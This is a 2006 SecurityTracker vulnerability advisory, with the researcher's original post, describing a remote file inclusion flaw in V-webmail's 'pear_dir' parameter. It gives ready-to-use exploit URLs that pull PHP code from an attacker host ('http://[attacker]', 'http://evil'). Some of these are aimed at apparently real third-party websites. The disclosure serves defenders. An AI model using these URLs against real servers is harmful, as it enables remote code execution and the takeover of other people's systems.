V-webmail Include File Bug in 'pear_dir' Parameter Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1016160
|
|
SecurityTracker URL: http://securitytracker.com/id?1016160
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: May 25 2006
|
Impact: Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 1.6.4
|
Description: Beford reported a vulnerability in V-webmail. A remote user can include and execute arbitrary code on the target system.
Several scripts do not properly validate user-supplied input in the 'pear_dir' parameter. A remote user can supply a specially crafted
URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating
system commands, will run with the privileges of the target web service.
A demonstration exploit URL for versions 1.5 - 1.6.4
is provided:
http://[target]/v-webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://[attacker]
Some demonstration
exploit URLs for version 1.3 are provided:
http://[target]/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://[attacker]
http://[target]/webmail/inc
ludes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://[attacker]
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.v-webmail.org/ (Links to External Site)
|
Cause: Input validation error, State error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: beford <xbefordx@gmail.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Thu, 25 May 2006 15:37:20 -0500
From: beford <xbefordx@gmail.com>
Subject: V-Webmail 1.6.4 Remote File Include
|
Script: V-Webmail 1.6.4
Vendor: http://www.v-webmail.org/
Description: V-webmail is a powerful PHP based webmail application with an
abundance of features, including many innovative ideas for web applications
Discovered: beford <xbefordx gmail com>
Vulnerable File
v-webmail/includes/pear/*/*.php => require_once ($CONFIG['pear_dir'] . '*.php');
v-webmail/includes/mailaccess/pop3.php =>
require_once($CONFIG['pear_dir'] . 'Net/POP3.php');
Version 1.3
http://www.site.th/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://evil
http://www.woot.com.kh/webmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://evil
Version 1.5 - 1.6.4
http://something.ie/v-webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://evil
|
|